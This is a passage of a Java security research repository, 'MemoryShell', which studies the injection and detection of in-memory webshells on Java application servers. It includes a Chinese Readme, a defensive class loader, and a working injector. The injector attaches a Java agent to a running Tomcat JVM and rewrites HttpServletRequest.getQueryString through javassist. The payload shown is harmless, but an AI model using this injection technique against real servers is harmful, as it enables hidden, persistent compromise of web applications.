├── .gitignore ├── Readme.md ├── memshell-inject ├── pom.xml └── src │ └── main │ ├── java │ └── org │ │ └── su18 │ │ └── memshell │ │ ├── agent │ │ ├── TestAgent.java │ │ └── TestTransformer.java │ │ └── inject │ │ └── AttachAgent.java │ └── resources │ └── MANIFEST.MF ├── memshell-loader ├── pom.xml └── src │ └── main │ ├── java │ └── org │ │ └── su18 │ │ └── memshell │ │ └── loader │ │ ├── Agent.java │ │ ├── SuClassLoader.java │ │ ├── VirtualMachineProxy.java │ │ ├── commons │ │ ├── AgentCache.java │ │ └── Constants.java │ │ └── utils │ │ └── StringUtils.java │ └── resources │ └── MANIFEST.MF ├── memshell-scanner ├── dependency-reduced-pom.xml ├── pom.xml └── src │ └── main │ └── java │ └── org │ └── su18 │ └── memshell │ └── scanner │ ├── BootStrap.java │ ├── SuTransformer.java │ ├── asm │ ├── SuClassDesc.java │ ├── SuClassVisitor.java │ ├── SuClassWriter.java │ ├── SuMethodDesc.java │ └── SuMethodVisitor.java │ ├── common │ └── MemoryShellType.java │ └── utils │ └── ClassUtils.java ├── memshell-spring ├── pom.xml ├── src │ └── main │ │ └── java │ │ └── org │ │ └── su18 │ │ └── memshell │ │ └── spring │ │ └── controller │ │ ├── AddController.java │ │ ├── AddInterceptor.java │ │ ├── DynamicUtils.java │ │ └── IndexController.java └── web │ └── WEB-INF │ ├── applicationContext.xml │ ├── dispatcher-servlet.xml │ └── web.xml ├── memshell-test ├── memshell-test-apusic │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── apusic │ │ │ ├── AddApusicFilter.java │ │ │ ├── DynamicUtils.java │ │ │ ├── IndexServlet.java │ │ │ └── NewFilter.java │ └── web │ │ └── WEB-INF │ │ └── web.xml ├── memshell-test-bes │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── bes │ │ │ ├── AddBESFilter.java │ │ │ ├── DynamicUtils.java │ │ │ └── IndexServlet.java │ └── web │ │ └── WEB-INF │ │ └── web.xml ├── memshell-test-glassfish │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── glassfish │ │ │ ├── AddGlassFishFilter.java │ │ │ ├── AddGlassFishServiceList.java │ │ │ ├── DynamicUtils.java │ │ │ └── IndexServlet.java │ └── web │ │ └── WEB-INF │ │ └── web.xml ├── memshell-test-inforsuite │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── inforsuite │ │ │ ├── AddInforSuiteFilter.java │ │ │ ├── DynamicUtils.java │ │ │ └── IndexServlet.java │ └── web │ │ └── WEB-INF │ │ └── web.xml ├── memshell-test-jboss │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── jboss │ │ │ ├── AddJBossFilter.java │ │ │ ├── AddJBossServlet.java │ │ │ ├── DynamicUtils.java │ │ │ └── IndexServlet.java │ └── web │ │ └── WEB-INF │ │ └── web.xml ├── memshell-test-jetty │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── jetty │ │ │ ├── AddJettyFilter.java │ │ │ ├── AddJettyServlet.java │ │ │ ├── DynamicUtils.java │ │ │ └── IndexServlet.java │ └── web │ │ └── WEB-INF │ │ └── web.xml ├── memshell-test-resin │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── resin │ │ │ ├── AddResinFilter.java │ │ │ ├── AddResinServlet.java │ │ │ ├── DynamicUtils.java │ │ │ └── IndexServlet.java │ └── web │ │ └── WEB-INF │ │ └── web.xml ├── memshell-test-tomcat │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── tomcat │ │ │ ├── AddTomcatFilter.java │ │ │ ├── AddTomcatListener.java │ │ │ ├── AddTomcatServlet.java │ │ │ ├── AddTomcatValve.java │ │ │ ├── DynamicUtils.java │ │ │ ├── Generate.java │ │ │ ├── IndexServlet.java │ │ │ └── QueryStringServlet.java │ └── web │ │ ├── WEB-INF │ │ └── web.xml │ │ └── index.jsp ├── memshell-test-tongweb │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── tongweb │ │ │ ├── AddTongWebServlet.java │ │ │ ├── DynamicUtils.java │ │ │ └── IndexServlet.java │ └── web │ │ └── WEB-INF │ │ └── web.xml ├── memshell-test-weblogic │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── weblogic │ │ │ ├── AddWeblogicFilter.java │ │ │ ├── DynamicUtils.java │ │ │ └── IndexServlet.java │ └── web │ │ └── WEB-INF │ │ └── web.xml ├── memshell-test-websphere │ ├── src │ │ └── org │ │ │ └── su18 │ │ │ └── memshell │ │ │ └── test │ │ │ └── websphere │ │ │ ├── AddWebsphereFilter.java │ │ │ ├── DynamicUtils.java │ │ │ └── IndexServlet.java │ └── web │ │ └── WEB-INF │ │ └── web.xml └── pom.xml ├── pom.xml └── suagent └── banner.txt /.gitignore: -------------------------------------------------------------------------------- 1 | ### JetBrains template 2 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider 3 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 4 | 5 | .idea 6 | 7 | # User-specific stuff 8 | .idea/**/workspace.xml 9 | .idea/**/tasks.xml 10 | .idea/**/usage.statistics.xml 11 | .idea/**/dictionaries 12 | .idea/**/shelf 13 | 14 | # Generated files 15 | .idea/**/contentModel.xml 16 | 17 | # Sensitive or high-churn files 18 | .idea/**/dataSources/ 19 | .idea/**/dataSources.ids 20 | .idea/**/dataSources.local.xml 21 | .idea/**/sqlDataSources.xml 22 | .idea/**/dynamic.xml 23 | .idea/**/uiDesigner.xml 24 | .idea/**/dbnavigator.xml 25 | 26 | # Gradle 27 | .idea/**/gradle.xml 28 | .idea/**/libraries 29 | 30 | # Gradle and Maven with auto-import 31 | # When using Gradle or Maven with auto-import, you should exclude module files, 32 | # since they will be recreated, and may cause churn. Uncomment if using 33 | # auto-import. 34 | # .idea/artifacts 35 | # .idea/compiler.xml 36 | # .idea/jarRepositories.xml 37 | # .idea/modules.xmlApplicationFilterConfig 38 | # .idea/*.iml 39 | # .idea/modules 40 | # *.iml 41 | # *.ipr 42 | 43 | # CMake 44 | cmake-build-*/ 45 | 46 | # Mongo Explorer plugin 47 | .idea/**/mongoSettings.xml 48 | 49 | # File-based project format 50 | *.iws 51 | 52 | # IntelliJ 53 | out/ 54 | 55 | # mpeltonen/sbt-idea plugin 56 | .idea_modules/ 57 | 58 | # JIRA plugin 59 | atlassian-ide-plugin.xml 60 | 61 | # Cursive Clojure plugin 62 | .idea/replstate.xml 63 | 64 | # Crashlytics plugin (for Android Studio and IntelliJ) 65 | com_crashlytics_export_strings.xml 66 | crashlytics.properties 67 | crashlytics-build.properties 68 | fabric.properties 69 | 70 | # Editor-based Rest Client 71 | .idea/httpRequests 72 | 73 | # Android studio 3.1+ serialized cache file 74 | .idea/caches/build_file_checksums.ser 75 | 76 | ### JetBrains template 77 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider 78 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 79 | 80 | # User-specific stuff 81 | .idea/**/workspace.xml 82 | .idea/**/tasks.xml 83 | .idea/**/usage.statistics.xml 84 | .idea/**/dictionaries 85 | .idea/**/shelf 86 | 87 | # Generated files 88 | .idea/**/contentModel.xml 89 | 90 | # Sensitive or high-churn files 91 | .idea/**/dataSources/ 92 | .idea/**/dataSources.ids 93 | .idea/**/dataSources.local.xml 94 | .idea/**/sqlDataSources.xml 95 | .idea/**/dynamic.xml 96 | .idea/**/uiDesigner.xml 97 | .idea/**/dbnavigator.xml 98 | 99 | # Gradle 100 | .idea/**/gradle.xml 101 | .idea/**/libraries 102 | 103 | # Gradle and Maven with auto-import 104 | # When using Gradle or Maven with auto-import, you should exclude module files, 105 | # since they will be recreated, and may cause churn. Uncomment if using 106 | # auto-import. 107 | # .idea/artifacts 108 | # .idea/compiler.xml 109 | # .idea/jarRepositories.xml 110 | # .idea/modules.xml 111 | # .idea/*.iml 112 | # .idea/modules 113 | # *.iml 114 | # *.ipr 115 | 116 | # CMake 117 | cmake-build-*/ 118 | 119 | # Mongo Explorer plugin 120 | .idea/**/mongoSettings.xml 121 | 122 | # File-based project format 123 | *.iws 124 | 125 | # IntelliJ 126 | out/ 127 | 128 | # mpeltonen/sbt-idea plugin 129 | .idea_modules/ 130 | 131 | # JIRA plugin 132 | atlassian-ide-plugin.xml 133 | 134 | # Cursive Clojure plugin 135 | .idea/replstate.xml 136 | 137 | # Crashlytics plugin (for Android Studio and IntelliJ) 138 | com_crashlytics_export_strings.xml 139 | crashlytics.properties 140 | crashlytics-build.properties 141 | fabric.properties 142 | 143 | # Editor-based Rest Client 144 | .idea/httpRequests 145 | 146 | # Android studio 3.1+ serialized cache file 147 | .idea/caches/build_file_checksums.ser 148 | 149 | ### macOS template 150 | # General 151 | .DS_Store 152 | .AppleDouble 153 | .LSOverride 154 | 155 | # Icon must end with two \r 156 | Icon 157 | 158 | # Thumbnails 159 | ._* 160 | 161 | # Files that might appear in the root of a volume 162 | .DocumentRevisions-V100 163 | .fseventsd 164 | .Spotlight-V100 165 | .TemporaryItems 166 | .Trashes 167 | .VolumeIcon.icns 168 | .com.apple.timemachine.donotpresent 169 | 170 | # Directories potentially created on remote AFP share 171 | .AppleDB 172 | .AppleDesktop 173 | Network Trash Folder 174 | Temporary Items 175 | .apdisk 176 | 177 | ### JetBrains template 178 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider 179 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 180 | 181 | # User-specific stuff 182 | .idea/**/workspace.xml 183 | .idea/**/tasks.xml 184 | .idea/**/usage.statistics.xml 185 | .idea/**/dictionaries 186 | .idea/**/shelf 187 | 188 | # Generated files 189 | .idea/**/contentModel.xml 190 | 191 | # Sensitive or high-churn files 192 | .idea/**/dataSources/ 193 | .idea/**/dataSources.ids 194 | .idea/**/dataSources.local.xml 195 | .idea/**/sqlDataSources.xml 196 | .idea/**/dynamic.xml 197 | .idea/**/uiDesigner.xml 198 | .idea/**/dbnavigator.xml 199 | 200 | # Gradle 201 | .idea/**/gradle.xml 202 | .idea/**/libraries 203 | 204 | # Gradle and Maven with auto-import 205 | # When using Gradle or Maven with auto-import, you should exclude module files, 206 | # since they will be recreated, and may cause churn. Uncomment if using 207 | # auto-import. 208 | # .idea/artifacts 209 | # .idea/compiler.xml 210 | # .idea/jarRepositories.xml 211 | # .idea/modules.xml 212 | # .idea/*.iml 213 | # .idea/modules 214 | # *.iml 215 | # *.ipr 216 | 217 | # CMake 218 | cmake-build-*/ 219 | 220 | # Mongo Explorer plugin 221 | .idea/**/mongoSettings.xml 222 | 223 | # File-based project format 224 | *.iws 225 | 226 | # IntelliJ 227 | out/ 228 | 229 | # mpeltonen/sbt-idea plugin 230 | .idea_modules/ 231 | 232 | # JIRA plugin 233 | atlassian-ide-plugin.xml 234 | 235 | # Cursive Clojure plugin 236 | .idea/replstate.xml 237 | 238 | # Crashlytics plugin (for Android Studio and IntelliJ) 239 | com_crashlytics_export_strings.xml 240 | crashlytics.properties 241 | crashlytics-build.properties 242 | fabric.properties 243 | 244 | # Editor-based Rest Client 245 | .idea/httpRequests 246 | 247 | # Android studio 3.1+ serialized cache file 248 | .idea/caches/build_file_checksums.ser 249 | 250 | # General 251 | .DS_Store 252 | .AppleDouble 253 | .LSOverride 254 | 255 | # Icon must end with two \r 256 | Icon 257 | 258 | # Thumbnails 259 | ._* 260 | 261 | # Files that might appear in the root of a volume 262 | .DocumentRevisions-V100 263 | .fseventsd 264 | .Spotlight-V100 265 | .TemporaryItems 266 | .Trashes 267 | .VolumeIcon.icns 268 | .com.apple.timemachine.donotpresent 269 | 270 | # Directories potentially created on remote AFP share 271 | .AppleDB 272 | .AppleDesktop 273 | Network Trash Folder 274 | Temporary Items 275 | .apdisk 276 | 277 | *.iml 278 | 279 | 280 | */target -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # Memory Shell 2 | 3 | JavaWeb MemoryShell Inject/Scan/Killer/Protect Research & Exploring 4 | 5 | 文章:[JavaWeb 内存马一周目通关攻略](https://su18.org/post/memory-shell) 6 | 7 | 8 | 9 | ## 项目介绍 10 | 11 | 本项目用来学习和研究 JavaWeb 内存马添加和防御模式,共包含以下几个模块。 12 | 13 | ### memshell-test 14 | 15 | 模块 memshell-test 中,针对各个常用中间件实现了至少一种 Servlet-API 类型的内存马。 16 | 17 | 包含几乎全部常见中间件的内存马写入测试文件,部分文件来自各位师傅们的分享,经修改和调整后已经全部经过测试。开箱即用。 18 | 19 | 目前包含的实现方式有: 20 | 21 | | 中间件 | 测试版本 | 内存马实现方式 | 22 | | ---------- | --------------------------- | --------------------------------------------------- | 23 | | apusic | AAS Enterprise Edition 9.0 | Filter | 24 | | bes | BES-LITE-9.5.0.382 | Filter | 25 | | glassfish | GlassFish 5.0.0 | Filter
Grizzly Filter | 26 | | inforsuite | InforSuiteAS_10 | Filter | 27 | | jboss | JBoss/WildFly 18.0.0.Final | Servlet
Filter | 28 | | jetty | Jetty 9.4.22 | Servlet
Filter | 29 | | resin | Resin 4.0.65 | Servlet
Filter | 30 | | tomcat | Tomcat 8.5.31 | Servlet
Filter
Listener
Tomcat Valve | 31 | | tongweb | TongWeb 7.0.25 | Servlet | 32 | | weblogic | WebLogic 12.2.1.3.0 | Filter | 33 | | websphere | WebSphere/Liberty 20.0.0.12 | Filter | 34 | 35 | 由于重点关注内存马的写入方式,因此上下文的获取、关键类的定位这里没有讨论。 36 | 37 | 欢迎测试和补充。 38 | 39 | ### memshell-inject 40 | 41 | 模拟冰蝎的写入内存马测试项目。 42 | 43 | 使用 JavaAgent 技术配合 javassist 写入字节码,项目 Hook 了 `javax.servlet.http.HttpServletRequest` 的 `getQueryString` 方法,返回指定字符串,配合 memshell-test-tomcat 的 `QueryStringServlet` 使用。 44 | 45 | ### memshell-spring 46 | 47 | spring controller 内存马以及 interceptor 内存马动态添加测试项目。 48 | 49 | ### memshell-loader && memshell-scanner 50 | 51 | suagent 项目,使用 JavaAgent 技术来检测和防御内存马。 52 | 53 | 54 | 55 | ## SuAgent 56 | 57 | 使用 JavaAgent 技术配合 ASM 字节码编织,获取系统中全部加载的 class,并判断其是否为内存马,如果匹配检测逻辑,将插入字节码绕过内存马逻辑,达到防御内存马的目的。 58 | 59 | 使用方法: 60 | 61 | - build 项目后会在 suagent 文件夹生成 suagent-loader.jar 以及 suagent-scanner.jar 两个文件。 62 | - 使用 java -jar suagent-loader.jar 可列举出当前系统上的 JVM PID 列表。 63 | - 使用 java -jar suagent-loader.jar attach 100 对指定 PID 进行 attach 注入,suagent 会自动对系统内 servlet-api 类型的内存马进行扫描和字节注入,可以在控制台下看到日志输出。 64 | - 使用 java -jar suagent-loader.jar detach 100 移除 agent。 65 | 66 | 67 | 68 | **测试视频:** 69 | 70 | [![Memory Shell Test](https://res.cloudinary.com/marcomontalbano/image/upload/v1624592145/video_to_markdown/images/youtube--tTFv15uCNjQ-c05b58ac6eb4c4700831b2b3070cd403.jpg)](https://youtu.be/tTFv15uCNjQ "Memory Shell Test") 71 | 72 | 73 | ## 广告 74 | 75 | Suagent 提供了 Servlet-API 内存马的查杀和清除能力,但是代码过于儿戏,覆盖不全是一方面,添加防御也是一方面,我会随缘更新这个项目不断完善主流内存马的查杀、检测及防御,但较为完整和成熟的 JavaWeb 内存马防御能力代码,请关注 RASP 安全产品:[安百科技-灵蜥](http://www.anbai.com/lxPlatform/)。 -------------------------------------------------------------------------------- /memshell-inject/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | MemoryShell 7 | org.su18 8 | 1.0.0 9 | 10 | 4.0.0 11 | 12 | 13 | 14 | org.javassist 15 | javassist 16 | 3.20.0-GA 17 | 18 | 19 | 20 | 21 | com.sun 22 | tools 23 | 1.8.0 24 | system 25 | /Library/Java/JavaVirtualMachines/jdk1.8.0_131.jdk/Contents/Home/lib/tools.jar 26 | 27 | 28 | 29 | memshell-inject 30 | 31 | 32 | 33 | 34 | maven-assembly-plugin 35 | 36 | false 37 | 38 | jar-with-dependencies 39 | 40 | 41 | src/main/resources/MANIFEST.MF 42 | 43 | 44 | 45 | 46 | make-assembly 47 | package 48 | 49 | assembly 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /memshell-inject/src/main/java/org/su18/memshell/agent/TestAgent.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.agent; 2 | 3 | import java.lang.instrument.Instrumentation; 4 | import java.lang.reflect.Modifier; 5 | import java.util.ArrayList; 6 | import java.util.Arrays; 7 | import java.util.List; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class TestAgent { 13 | 14 | /** 15 | * 主要函数 agentmain 16 | * 17 | * @param inst Instrumentation对象 18 | */ 19 | public static void agentmain(String agentArgs, Instrumentation inst) { 20 | 21 | // 交给自定义 Transformer 22 | inst.addTransformer(new TestTransformer(), true); 23 | 24 | // 拿到所有加载的类判断进行 retransform 25 | Class[] loadedClasses = inst.getAllLoadedClasses(); 26 | for (Class c : loadedClasses) { 27 | 28 | // 忽略接口和抽象类 29 | if (Modifier.isInterface(c.getModifiers()) && Modifier.isAbstract(c.getModifiers())) { 30 | continue; 31 | } 32 | 33 | List> list = Arrays.asList(c.getInterfaces()); 34 | for (Class o : list) { 35 | Class[] classes = o.getInterfaces(); 36 | list = new ArrayList<>(list); 37 | list.addAll(Arrays.asList(classes)); 38 | } 39 | 40 | 41 | for (Class cs : list) { 42 | if ("javax.servlet.http.HttpServletRequest".equals(cs.getName())) { 43 | System.out.println("add retransform classes: " + c.getName()); 44 | try { 45 | inst.retransformClasses(c); 46 | break; 47 | } catch (Exception e) { 48 | e.printStackTrace(); 49 | } 50 | } 51 | } 52 | } 53 | } 54 | 55 | } 56 | -------------------------------------------------------------------------------- /memshell-inject/src/main/java/org/su18/memshell/agent/TestTransformer.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.agent; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtMethod; 7 | 8 | import java.io.FileOutputStream; 9 | import java.io.IOException; 10 | import java.lang.instrument.ClassFileTransformer; 11 | import java.lang.instrument.IllegalClassFormatException; 12 | import java.security.ProtectionDomain; 13 | import java.util.regex.Pattern; 14 | 15 | /** 16 | * ClassFileTransformer 实现类 17 | * 18 | * @author su18 19 | */ 20 | public class TestTransformer implements ClassFileTransformer { 21 | 22 | @Override 23 | public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { 24 | 25 | try { 26 | className = className.replace("/", "."); 27 | 28 | // 忽略无用类 29 | if (!className.startsWith("org.su18")) { 30 | System.out.println(className); 31 | 32 | ClassPool cp = ClassPool.getDefault(); 33 | ClassClassPath classPath = new ClassClassPath(classBeingRedefined); 34 | cp.insertClassPath(classPath); 35 | CtClass cc = cp.get(className); 36 | CtMethod m = cc.getDeclaredMethod("getQueryString"); 37 | 38 | try { 39 | m.addLocalVariable("elapsedTime", CtClass.longType); 40 | m.insertBefore(insertSource()); 41 | byte[] byteCode = cc.toBytecode(); 42 | cc.detach(); 43 | System.out.println("retransform: " + className); 44 | 45 | // dump 出经过 retransform 的 class 46 | dumpClass(className, byteCode); 47 | return byteCode; 48 | } catch (Exception ignored) { 49 | 50 | } 51 | 52 | } 53 | 54 | 55 | } catch (Exception e) { 56 | e.printStackTrace(); 57 | } 58 | 59 | return null; 60 | } 61 | 62 | public String insertSource() { 63 | return "return \"the world is full of kings and queens who blind your eyes and steal your dreams\";"; 64 | 65 | } 66 | 67 | private static void dumpClass(String className, byte[] classfileBuffer) throws IOException { 68 | String regexp = "\\b(ApplicationFilterChain|ResponseFacade|RequestFacade)$"; 69 | 70 | if (Pattern.compile(regexp).matcher(className).find()) { 71 | className = className.substring(className.lastIndexOf(".") + 1); 72 | 73 | FileOutputStream fos = new FileOutputStream("/Users/phoebe/IdeaProjects/MemoryShell/" + 74 | "memshell-inject/target/" + className + ".class"); 75 | fos.write(classfileBuffer); 76 | fos.close(); 77 | } 78 | } 79 | 80 | 81 | } 82 | -------------------------------------------------------------------------------- /memshell-inject/src/main/java/org/su18/memshell/inject/AttachAgent.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.inject; 2 | 3 | 4 | import com.sun.tools.attach.VirtualMachine; 5 | import com.sun.tools.attach.VirtualMachineDescriptor; 6 | 7 | import java.io.File; 8 | import java.util.List; 9 | 10 | /** 11 | * agent 注入进程 12 | * 13 | * @author su18 14 | */ 15 | public class AttachAgent { 16 | 17 | /** 18 | * 用来注入的 main 方法 19 | * 20 | * @param args 参数 21 | * @throws Exception 异常 22 | */ 23 | public static void main(String[] args) throws Exception { 24 | 25 | VirtualMachine vm; 26 | List vmList; 27 | 28 | String currentPath = AttachAgent.class.getProtectionDomain().getCodeSource().getLocation().getPath(); 29 | currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1); 30 | String agentFile = new File(currentPath + "../memshell-inject-1.0.0.jar").getCanonicalPath(); 31 | 32 | // 循环 JVM 进程,查找有 catalina 关键字的虚拟机 33 | try { 34 | vmList = VirtualMachine.list(); 35 | for (VirtualMachineDescriptor vmd : vmList) { 36 | if (vmd.displayName().contains("catalina") || "".equals(vmd.displayName())) { 37 | vm = VirtualMachine.attach(vmd); 38 | 39 | // 兼容 windows 上的 Tomcat Service 40 | if ("".equals(vmd.displayName()) && !vm.getSystemProperties().containsKey("catalina.home")) { 41 | continue; 42 | } 43 | 44 | if (null != vm) { 45 | vm.loadAgent(agentFile); 46 | System.out.println("MemoryShell has been injected."); 47 | vm.detach(); 48 | return; 49 | } 50 | } 51 | } 52 | 53 | System.out.println("No Tomcat Virtual Machine found."); 54 | } catch (Exception e) { 55 | e.printStackTrace(); 56 | } 57 | } 58 | 59 | 60 | } 61 | -------------------------------------------------------------------------------- /memshell-inject/src/main/resources/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Agent-Class: org.su18.memshell.agent.TestAgent 3 | Can-Retransform-Classes: true 4 | -------------------------------------------------------------------------------- /memshell-loader/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | MemoryShell 7 | org.su18 8 | 1.0.0 9 | 10 | 4.0.0 11 | 12 | memshell-loader 13 | 14 | 15 | suagent-loader 16 | 17 | 18 | org.apache.maven.plugins 19 | maven-compiler-plugin 20 | 3.8.1 21 | 22 | 1.6 23 | 1.6 24 | UTF-8 25 | 26 | 27 | 28 | 29 | org.apache.maven.plugins 30 | maven-jar-plugin 31 | 2.3.2 32 | 33 | 34 | 35 | src/main/resources/MANIFEST.MF 36 | 37 | 38 | 39 | 40 | 41 | org.apache.maven.plugins 42 | maven-shade-plugin 43 | 3.2.2 44 | 45 | 46 | package 47 | 48 | shade 49 | 50 | 51 | 52 | 53 | *:* 54 | 55 | MANIFEST.MF 56 | META-INF/maven/ 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | maven-antrun-plugin 67 | 68 | 69 | package 70 | 71 | 72 | 75 | 76 | 77 | 78 | run 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | -------------------------------------------------------------------------------- /memshell-loader/src/main/java/org/su18/memshell/loader/SuClassLoader.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.loader; 2 | 3 | import org.su18.memshell.loader.commons.AgentCache; 4 | import org.su18.memshell.loader.utils.StringUtils; 5 | 6 | import java.io.File; 7 | import java.io.IOException; 8 | import java.lang.instrument.ClassFileTransformer; 9 | import java.lang.instrument.Instrumentation; 10 | import java.lang.reflect.Field; 11 | import java.lang.reflect.InvocationTargetException; 12 | import java.lang.reflect.Method; 13 | import java.net.URL; 14 | import java.net.URLClassLoader; 15 | import java.util.Enumeration; 16 | import java.util.List; 17 | import java.util.jar.JarFile; 18 | 19 | import static org.su18.memshell.loader.commons.Constants.JAVA_INTERNAL_PACKAGES; 20 | 21 | /** 22 | * 使用自定义 ClassLoader 加载自己的 jar 23 | * 24 | * @author su18 25 | */ 26 | public class SuClassLoader extends URLClassLoader { 27 | 28 | private String args; 29 | 30 | private Instrumentation instrumentation; 31 | 32 | private ClassFileTransformer raspClassFileTransformer; 33 | 34 | private File agentFile; 35 | 36 | 37 | public SuClassLoader(final URL url, final ClassLoader classLoader) { 38 | super(new URL[]{url}, classLoader); 39 | } 40 | 41 | 42 | public String getArgs() { 43 | return args; 44 | } 45 | 46 | public Instrumentation getInstrumentation() { 47 | return instrumentation; 48 | } 49 | 50 | public ClassFileTransformer getRaspClassFileTransformer() { 51 | return raspClassFileTransformer; 52 | } 53 | 54 | public void setRaspClassFileTransformer(ClassFileTransformer raspClassFileTransformer) { 55 | this.raspClassFileTransformer = raspClassFileTransformer; 56 | } 57 | 58 | /** 59 | * 注册一个Jar文件到当前的类加载器 60 | * 61 | * @param url jar文件的url地址 62 | */ 63 | @Override 64 | public void addURL(URL url) { 65 | super.addURL(url); 66 | } 67 | 68 | public File getAgentFile() { 69 | return agentFile; 70 | } 71 | 72 | /** 73 | * 修改获取资源文件优先级,优先从自身的jar中找 74 | * 75 | * @param name 资源名称 76 | * @return 资源文件URL地址 77 | */ 78 | @Override 79 | public URL getResource(String name) { 80 | URL url = findResource(name); 81 | 82 | if (url != null) { 83 | return url; 84 | } 85 | 86 | return super.getResource(name); 87 | } 88 | 89 | /** 90 | * 修改获取资源文件优先级,优先从自身的jar中找 91 | * 92 | * @param name 资源名称 93 | * @return 资源文件枚举URL地址 94 | * @throws IOException 文件读取异常 95 | */ 96 | @Override 97 | public Enumeration getResources(String name) throws IOException { 98 | Enumeration urls = findResources(name); 99 | 100 | if (urls != null) { 101 | return urls; 102 | } 103 | 104 | return super.getResources(name); 105 | } 106 | 107 | /** 108 | * 加载类资源对象 109 | * 110 | * @param name 类名 111 | * @param resolve 是否需要resolve 112 | * @return 返回类对象 113 | * @throws ClassNotFoundException 类未找到异常 114 | */ 115 | @Override 116 | protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException { 117 | final Class loadedClass = findLoadedClass(name); 118 | if (loadedClass != null) { 119 | return loadedClass; 120 | } 121 | 122 | // 忽略JDK自带的包 123 | if (name.matches(JAVA_INTERNAL_PACKAGES)) { 124 | return super.loadClass(name, resolve); 125 | } 126 | 127 | try { 128 | Class clazz = findClass(name); 129 | 130 | if (resolve) { 131 | resolveClass(clazz); 132 | } 133 | 134 | return clazz; 135 | } catch (Exception e) { 136 | return super.loadClass(name, resolve); 137 | } 138 | } 139 | 140 | /** 141 | * 加载RASP Agent 142 | * 143 | * @param agentFile Agent路径 144 | * @param args Agent参数 145 | * @param inst Instrumentation 146 | * @param cache Agent缓存 147 | * @throws ClassNotFoundException 类未找到异常 148 | * @throws NoSuchMethodException 方法未找到异常 149 | * @throws InvocationTargetException 反射调用异常 150 | * @throws IllegalAccessException 反射不正确的访问异常 151 | */ 152 | public void loadAgent(File agentFile, String args, Instrumentation inst, AgentCache cache) throws Exception { 153 | this.args = args; 154 | this.instrumentation = inst; 155 | this.agentFile = agentFile; 156 | 157 | // 添加Agent处理JAR到类加载器 158 | this.addURL(agentFile.toURL()); 159 | 160 | // 反射调用 scanner 的 BootStrap 完成 Agent 启动 161 | Class bootStrapClass = this.loadClass("org.su18.memshell.scanner.BootStrap"); 162 | bootStrapClass.getMethod( 163 | "bootStrap", Instrumentation.class, SuClassLoader.class, AgentCache.class 164 | ).invoke(args, inst, this, cache); 165 | } 166 | 167 | /** 168 | * 关闭 RASP 类加载器,释放jar文件连接 169 | */ 170 | public boolean closeClassLoader() { 171 | try { 172 | // 如果URLClassLoader类有close方法则直接调用 173 | Class clazz = URLClassLoader.class; 174 | Method[] methods = clazz.getMethods(); 175 | 176 | for (Method method : methods) { 177 | if ("close".equals(method.getName())) { 178 | method.invoke(this); 179 | 180 | return true; 181 | } 182 | } 183 | 184 | // 如果不能直接通过close方法关闭那么就需要反向查找所有已经打开了的jar文件并关闭了 185 | Field ucpField = clazz.getDeclaredField("ucp"); 186 | ucpField.setAccessible(true); 187 | Object ucp = ucpField.get(this); 188 | 189 | Field loadersField = ucp.getClass().getDeclaredField("loaders"); 190 | loadersField.setAccessible(true); 191 | List loaders = (List) loadersField.get(ucp); 192 | 193 | for (Object loader : loaders) { 194 | Class jarLoaderClass = loader.getClass(); 195 | Method method = jarLoaderClass.getDeclaredMethod("getJarFile"); 196 | method.setAccessible(true); 197 | 198 | // 释放jar文件连接 199 | JarFile jarFile = (JarFile) method.invoke(loader); 200 | jarFile.close(); 201 | 202 | StringUtils.println("Closed Jar: [" + jarFile.getName() + "]"); 203 | } 204 | 205 | return true; 206 | } catch (Exception e) { 207 | e.printStackTrace(); 208 | } 209 | 210 | return false; 211 | } 212 | 213 | } 214 | -------------------------------------------------------------------------------- /memshell-loader/src/main/java/org/su18/memshell/loader/VirtualMachineProxy.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.loader; 2 | 3 | import java.io.File; 4 | import java.net.URL; 5 | import java.net.URLClassLoader; 6 | import java.util.HashMap; 7 | import java.util.List; 8 